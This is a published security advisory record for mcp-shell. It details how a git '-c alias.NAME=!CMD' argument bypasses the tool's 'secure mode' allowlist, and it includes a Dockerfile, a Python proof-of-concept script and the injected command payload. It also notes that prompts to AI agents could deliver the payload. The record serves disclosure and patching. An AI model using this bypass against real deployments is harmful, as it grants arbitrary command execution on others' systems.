{"id":"GHSA-74hp-mggr-hv58","summary":"mcp-shell has a Secure Mode Allowlist Bypass via Git Shell Alias","details":"### Summary\n\n`mcp-shell`'s \"secure mode\" is designed to restrict command execution to an allowlist of executables defined in `security.yaml`. The default configuration includes `/usr/bin/git`. The security validator in `security.go` blocks common shell metacharacters (`|&;\u003c\u003e(){}[]$\\``) but omits `!`, which is the prefix Git uses to execute shell aliases (`alias.NAME=!CMD`). An attacker who can invoke the `shell_exec` MCP tool can pass `/usr/bin/git -c alias.pwn=!\u003carbitrary-command\u003e` as the command argument, bypassing all validation and achieving arbitrary OS command execution as the `mcp-shell` process user. The default Docker image runs as `mcpuser` (UID 1000) with Git installed and secure mode enabled, making this exploitable in the default deployment with no authentication required.\n\n### Details\n\nThe vulnerability is a classic OS Command Injection (CWE-78) in the `shell_exec` MCP tool handler. The data flow from attacker input to shell execution is:\n\n1. **`main.go:89-91`** — The MCP tool schema exposes a required string parameter `command` with no server-side type constraints.\n2. **`main.go:102`** — `shell_exec` is bound to `shellHandler.handle`.\n3. **`handler.go:34`** — The handler reads the attacker-controlled value: `command, err := request.RequireString(\"command\")`.\n4. **`handler.go:49`** — The command string is passed to `h.validator.validateCommand(command)`.\n5. **`security.go:136`** — `containsShellMetacharacters` checks for `|&;\u003c\u003e(){}[]$\\`` but `!` is absent from the blocked set.\n6. **`security.go:147-149`** — `containsDangerousShellConstructs` also does not include `!`.\n7. **`security.go:85-96`** — `/usr/bin/git` matches `AllowedExecutables`; no per-argument policy exists for Git. The `blocked_patterns` list in `security.yaml:35` is empty (`[]`).\n8. **`handler.go:59`** — The fully validated (but unsafe) command is forwarded to `h.executor.execute`.\n9. **`executor.go:149-163`** — `parseCommand` splits the string with `strings.Fields`; `exec.CommandContext(ctx, executable, args...)` is called with `executable=\"/usr/bin/git\"` and `args=[\"-c\", \"alias.pwn=!touch\", \"pwn\", \"/tmp/target\"]`.\n10. **`executor.go:199`** — `cmd.Run()` launches `git`. Git interprets `-c alias.pwn=!touch` as a runtime configuration entry, defining the alias `pwn` as the shell command `touch`. When Git resolves the subcommand `pwn`, it triggers the shell alias: `sh -c 'touch \"$@\"' _ /tmp/target`, creating the file.\n\nThe root cause is the missing `!` in the metacharacter blocklist and the absence of any per-executable argument policy that would prevent Git's `-c alias.*=!` pattern.\n\nIncriminated source locations:\n- `security.go:136` — metacharacter set missing `!`\n- `security.go:147-149` — `containsDangerousShellConstructs` missing `!`\n- `security.yaml:27` — `/usr/bin/git` in `allowed_executables`\n- `security.yaml:35` — `blocked_patterns: []`\n- `executor.go:149-163,199` — direct `exec.CommandContext` invocation with unsanitized Git arguments\n\n### PoC\n\n**Prerequisites:**\n- Docker installed and the `mcp-shell-vuln-001` image built from the provided `Dockerfile` (repo root as build context, commit `c30862f`).\n- Python 3 to run `poc.py`.\n\n**Build the Docker image:**\n\n```bash\ndocker build -f vuln-001/Dockerfile -t mcp-shell-vuln-001 .\n```\n\n**Run the PoC:**\n\n```bash\npython3 vuln-001/poc.py\n```\n\nThe script performs the full MCP JSON-RPC handshake over stdin and sends the following `tools/call` request:\n\n```json\n{\n  \"jsonrpc\": \"2.0\",\n  \"id\": 2,\n  \"method\": \"tools/call\",\n  \"params\": {\n    \"name\": \"shell_exec\",\n    \"arguments\": {\n      \"command\": \"/usr/bin/git -c alias.pwn=!touch pwn /tmp/mcp-shell-mcp-poc\",\n      \"base64\": false\n    }\n  }\n}\n```\n\nThe container's `/tmp` is bind-mounted to a host temporary directory so the evidence file can be observed on the host without `docker exec`.\n\n**Expected result:**\n\n- MCP response: `{\"status\":\"success\",\"exit_code\":0,\"execution_time\":\"~3ms\",\"security_info\":{\"security_enabled\":true,...}}`\n- Evidence file created at `\u003chost_tmp\u003e/mcp-shell-mcp-poc` with `uid=1000` (mcpuser), confirming arbitrary shell command execution inside the container.\n\n**Validation bypass explanation:**\n\n| Check | Value tested | Result |\n|---|---|---|\n| `containsShellMetacharacters` | `alias.pwn=!touch` | `false` — `!` not in blocklist |\n| `containsDangerousShellConstructs` | `alias.pwn=!touch` | `false` — `!` not in blocklist |\n| `matchesExecutable` | `/usr/bin/git` | `true` — in `AllowedExecutables` |\n\nAll checks pass; `git` receives `alias.pwn=!touch` as a config entry and executes `touch` as a shell alias.\n\n### Impact\n\nThis is an **OS Command Injection** vulnerability (CWE-78). Any entity that can issue an MCP `tools/call` request to a `mcp-shell` instance running with the default Docker configuration can execute arbitrary OS commands as the `mcpuser` process account (UID 1000) inside the container.\n\nThe default Docker deployment sets `MCP_SHELL_SEC_CONFIG_FILE=/etc/mcp-shell/security.yaml`, installs `git`, and runs as `mcpuser`. The `shell_exec` tool requires no additional authentication beyond MCP connectivity. \"Secure mode\" is explicitly marketed as the mechanism preventing command injection; this bypass nullifies that protection entirely.\n\nImpacted parties:\n- **Users and operators** who deploy the default `mcp-shell` Docker image and expose it to MCP clients (directly via stdio, or via an MCP bridge/proxy over the network).\n- **AI agent systems** that integrate `mcp-shell` as a tool provider, where a compromised or malicious LLM prompt could supply the exploit payload as the `command` argument.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\n# VULN-001: Secure Mode Allowlist Bypass via Git Shell Alias\n# CWE-78: OS Command Injection\n#\n# This Dockerfile reproduces the exact default Docker deployment environment of\n# sonirico/mcp-shell at commit c30862f that is affected by VULN-001.\n#\n# Vulnerability summary:\n#   - security.yaml allows /usr/bin/git in allowed_executables\n#   - The security validator (security.go) does not block '!' in arguments\n#   - Git's '-c alias.NAME=!CMD' syntax executes CMD as a shell command\n#   - This bypasses \"secure mode\" and achieves arbitrary command execution\n#\n# Build context must be the repo parent directory:\n#   docker build -f vuln-001/Dockerfile -t mcp-shell-vuln-001 .\n\n# Stage 1: Build the mcp-shell binary from the vulnerable source\nFROM golang:1.25-alpine AS builder\n\nRUN apk add --no-cache git ca-certificates\n\nWORKDIR /src\n\n# Download dependencies before copying source for better layer caching\nCOPY repo/go.mod repo/go.sum ./\nRUN go mod download\n\n# Copy and build the vulnerable source\nCOPY repo/*.go ./\nRUN CGO_ENABLED=0 GOOS=linux go build \\\n    -ldflags \"-s -w\" \\\n    -o mcp-shell .\n\n# Stage 2: Runtime environment matching the default mcp-shell Docker image\nFROM alpine:3.22\n\n# Install git — this is what the default Dockerfile does (apk add git),\n# and it is what makes the exploit possible: /usr/bin/git is present and\n# the security config allows it.\nRUN apk add --no-cache bash git\n\n# Create non-root user matching the default Docker image\nRUN addgroup -g 1000 mcpuser && \\\n    adduser -D -s /bin/bash -u 1000 -G mcpuser mcpuser\n\n# Install the mcp-shell binary\nCOPY --from=builder /src/mcp-shell /usr/local/bin/mcp-shell\n\n# Install the default (vulnerable) security configuration.\n# Key properties that enable the exploit:\n#   allowed_executables includes /usr/bin/git\n#   blocked_patterns is empty\n#   security.go does not list '!' in blocked metacharacters\nCOPY repo/security.yaml /etc/mcp-shell/security.yaml\n\n# Replicate the default environment variables from the repo Dockerfile\nENV MCP_SHELL_SEC_CONFIG_FILE=/etc/mcp-shell/security.yaml\nENV MCP_SHELL_LOG_FORMAT=json\nENV PATH=\"/usr/local/bin:${PATH}\"\n\nUSER mcpuser\nWORKDIR /home/mcpuser\n\n# mcp-shell reads JSON-RPC over stdin and writes responses to stdout\nENTRYPOINT [\"mcp-shell\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nProof-of-Concept for VULN-001: Secure Mode Allowlist Bypass via Git Shell Alias\nRepository:  sonirico/mcp-shell (commit c30862f)\nCWE-78:      OS Command Injection\n\nVulnerability:\n    mcp-shell \"secure mode\" uses security.yaml to allowlist executables.\n    The default config allows /usr/bin/git.  The security validator in\n    security.go checks for metacharacters (|&;\u003c\u003e(){}[]$`\\\\) but does NOT\n    include '!' in the blocked set.  Git's -c flag accepts runtime config\n    overrides; setting 'alias.NAME=!CMD' defines a shell alias that runs\n    CMD as a shell command when 'NAME' is used as a git subcommand.\n\nExploit payload (MCP tools/call -\u003e shell_exec argument):\n    /usr/bin/git -c alias.pwn=!touch pwn /tmp/mcp-shell-mcp-poc\n\n    Validation path (all checks pass):\n      containsShellMetacharacters(\"alias.pwn=!touch\")  -\u003e False  (! not in set)\n      containsDangerousShellConstructs(\"alias.pwn=!touch\") -\u003e False (! not in set)\n      matchesExecutable(\"/usr/bin/git\", \"/usr/bin/git\") -\u003e True\n\n    Execution path:\n      exec.CommandContext(ctx, \"/usr/bin/git\",\n          \"-c\", \"alias.pwn=!touch\", \"pwn\", \"/tmp/mcp-shell-mcp-poc\")\n      -\u003e git defines alias pwn = !touch\n      -\u003e git runs subcommand \"pwn\" -\u003e triggers shell alias\n      -\u003e sh -c 'touch \"$@\"' _ /tmp/mcp-shell-mcp-poc\n      -\u003e file /tmp/mcp-shell-mcp-poc is created\n\nEvidence method:\n    The container's /tmp is bind-mounted to a host temporary directory.\n    After the MCP call, verify the evidence file exists on the host.\n\nUsage:\n    # From the repo parent directory:\n    docker build -f vuln-001/Dockerfile -t mcp-shell-vuln-001 .\n    python3 vuln-001/poc.py\n\"\"\"\n\nimport json\nimport os\nimport subprocess\nimport sys\nimport tempfile\nimport stat\n\nIMAGE_NAME = \"mcp-shell-vuln-001\"\nEVIDENCE_FILENAME = \"mcp-shell-mcp-poc\"\nEXPLOIT_TARGET = f\"/tmp/{EVIDENCE_FILENAME}\"\n\n# MCP JSON-RPC protocol requires:\n#   1. initialize handshake (client -\u003e server)\n#   2. notifications/initialized acknowledgement\n#   3. tools/call with the exploit payload\nMCP_INITIALIZE = json.dumps({\n    \"jsonrpc\": \"2.0\",\n    \"id\": 1,\n    \"method\": \"initialize\",\n    \"params\": {\n        \"protocolVersion\": \"2024-11-05\",\n        \"capabilities\": {},\n        \"clientInfo\": {\"name\": \"vuln-001-poc\", \"version\": \"1.0.0\"},\n    },\n})\n\nMCP_INITIALIZED = json.dumps({\n    \"jsonrpc\": \"2.0\",\n    \"method\": \"notifications/initialized\",\n})\n\n# The malicious command:\n#   /usr/bin/git    - allowed by security.yaml AllowedExecutables\n#   -c alias.pwn=!touch  - git runtime config; ! prefix = shell alias\n#                          NOT blocked: '!' absent from security.go metachars\n#   pwn             - triggers the alias (git subcommand lookup)\n#   /tmp/\u003cfile\u003e     - argument forwarded to touch by git shell alias\nMCP_EXPLOIT = json.dumps({\n    \"jsonrpc\": \"2.0\",\n    \"id\": 2,\n    \"method\": \"tools/call\",\n    \"params\": {\n        \"name\": \"shell_exec\",\n        \"arguments\": {\n            \"command\": f\"/usr/bin/git -c alias.pwn=!touch pwn {EXPLOIT_TARGET}\",\n            \"base64\": False,\n        },\n    },\n})\n\n\ndef run(args, **kwargs):\n    print(f\"[*] {' '.join(str(a) for a in args)}\")\n    return subprocess.run(args, **kwargs)\n\n\ndef parse_mcp_response(stdout_text):\n    \"\"\"Parse newline-delimited JSON-RPC responses, return the tools/call result.\"\"\"\n    for line in stdout_text.splitlines():\n        line = line.strip()\n        if not line:\n            continue\n        try:\n            msg = json.loads(line)\n            if msg.get(\"id\") == 2:\n                return msg\n        except json.JSONDecodeError:\n            pass\n    return None\n\n\ndef main():\n    print(\"=\" * 62)\n    print(\"VULN-001 PoC — mcp-shell Secure Mode Bypass via Git Alias\")\n    print(\"=\" * 62)\n    print()\n\n    # Create a host-side temporary directory that will be bind-mounted\n    # as /tmp inside the container.  This lets us observe file creation\n    # caused by the git shell alias without needing 'docker exec'.\n    host_tmp = tempfile.mkdtemp(prefix=\"mcp-vuln001-\")\n    # Allow UID 1000 (mcpuser inside the container) to write files here.\n    os.chmod(host_tmp, 0o1777)\n    evidence_host_path = os.path.join(host_tmp, EVIDENCE_FILENAME)\n\n    print(f\"[*] Host bind-mount (-\u003e /tmp inside container): {host_tmp}\")\n    print(f\"[*] Expected evidence file on host: {evidence_host_path}\")\n    print()\n    print(f\"[*] Exploit command (shell_exec argument):\")\n    print(f\"      /usr/bin/git -c alias.pwn=!touch pwn {EXPLOIT_TARGET}\")\n    print()\n\n    # Build the newline-delimited JSON-RPC payload sent over stdin.\n    # mcp-shell reads one JSON object per line.\n    payload_bytes = (\n        MCP_INITIALIZE + \"\\n\" +\n        MCP_INITIALIZED + \"\\n\" +\n        MCP_EXPLOIT + \"\\n\"\n    ).encode()\n\n    print(\"[*] Sending MCP JSON-RPC payload to container via stdin ...\")\n    try:\n        proc = run(\n            [\n                \"docker\", \"run\",\n                \"--rm\",            # Remove container on exit\n                \"-i\",              # Keep stdin open for piped input\n                \"--network=none\",  # No external network access (safety)\n                \"-v\", f\"{host_tmp}:/tmp\",   # Expose container's /tmp on host\n                IMAGE_NAME,\n            ],\n            input=payload_bytes,\n            capture_output=True,\n            timeout=40,\n        )\n    except subprocess.TimeoutExpired:\n        print(\"[FAIL] docker run timed out after 40 seconds\")\n        sys.exit(1)\n    except FileNotFoundError:\n        print(\"[FAIL] 'docker' not found — install Docker to run this PoC\")\n        sys.exit(1)\n\n    stdout = proc.stdout.decode(errors=\"replace\")\n    stderr = proc.stderr.decode(errors=\"replace\")\n\n    print()\n    print(\"[*] Container stdout (MCP responses):\")\n    for line in stdout.splitlines():\n        print(f\"    {line}\")\n\n    if stderr.strip():\n        print(\"[*] Container stderr:\")\n        for line in stderr.splitlines():\n            print(f\"    {line}\")\n\n    print()\n\n    # Locate and pretty-print the tools/call MCP response.\n    exploit_response = parse_mcp_response(stdout)\n    if exploit_response:\n        print(\"[*] MCP tools/call response (id=2):\")\n        print(json.dumps(exploit_response, indent=4))\n        print()\n\n    # --- Primary evidence check ---\n    if os.path.exists(evidence_host_path):\n        st = os.stat(evidence_host_path)\n        print(f\"[PASS] Evidence file found on host: {evidence_host_path}\")\n        print(f\"       size={st.st_size}  mode={oct(st.st_mode)}  uid={st.st_uid}\")\n        print()\n        print(\"[PASS] EXPLOIT SUCCESSFUL\")\n        print(\"       'touch /tmp/mcp-shell-mcp-poc' was executed INSIDE the container\")\n        print(\"       by the git shell alias, bypassing mcp-shell secure mode.\")\n        passed = True\n        evidence = (\n            f\"File '{evidence_host_path}' created on host via /tmp volume mount. \"\n            f\"size={st.st_size} uid={st.st_uid} mode={oct(st.st_mode)}. \"\n            f\"MCP response: {json.dumps(exploit_response) if exploit_response else 'n/a'}\"\n        )\n    else:\n        print(f\"[FAIL] Evidence file NOT found at: {evidence_host_path}\")\n        print(\"[FAIL] EXPLOIT FAILED\")\n        if exploit_response:\n            result_content = exploit_response.get(\"result\", {})\n            print(f\"       MCP result: {json.dumps(result_content)}\")\n        passed = False\n        evidence = (\n            f\"Evidence file was not created. \"\n            f\"stdout={stdout[:600]!r} stderr={stderr[:300]!r}\"\n        )\n\n    print()\n    return passed, evidence\n\n\nif __name__ == \"__main__\":\n    passed, evidence = main()\n    sys.exit(0 if passed else 1)\n```","aliases":["CVE-2026-55582","GO-2026-6291"],"modified":"2026-08-26T15:40:27.858686302Z","published":"2026-08-25T15:39:05Z","database_specific":{"cwe_ids":["CWE-78"],"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2026-08-25T15:39:05Z","nvd_published_at":null},"references":[{"type":"WEB","url":"https://github.com/sonirico/mcp-shell/security/advisories/GHSA-74hp-mggr-hv58"},{"type":"WEB","url":"https://github.com/sonirico/mcp-shell/pull/16"},{"type":"WEB","url":"https://github.com/sonirico/mcp-shell/commit/f31377fce6ec31114e5a4398c0e5270552bce09f"},{"type":"PACKAGE","url":"https://github.com/sonirico/mcp-shell"},{"type":"WEB","url":"https://github.com/sonirico/mcp-shell/releases/tag/v0.6.0"}],"affected":[{"package":{"name":"github.com/sonirico/mcp-shell","ecosystem":"Go","purl":"pkg:golang/github.com/sonirico/mcp-shell"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.6.0"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-74hp-mggr-hv58/GHSA-74hp-mggr-hv58.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"}]}